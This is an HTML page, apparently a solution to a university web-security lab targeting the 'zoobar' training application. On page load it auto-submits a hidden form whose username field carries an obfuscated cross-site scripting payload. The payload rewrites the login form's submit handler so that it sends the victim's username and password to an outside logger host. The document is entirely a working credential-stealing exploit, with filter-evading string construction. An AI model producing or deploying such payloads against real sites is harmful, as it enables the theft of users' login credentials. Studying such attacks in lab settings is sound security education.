Untitled

<body>

 <script type="text/javascript">

 function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

 redirectPost('http://zoobar/zoobar/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/dasak.csc.kth.se/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=nik%40kth.se%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>

 </body>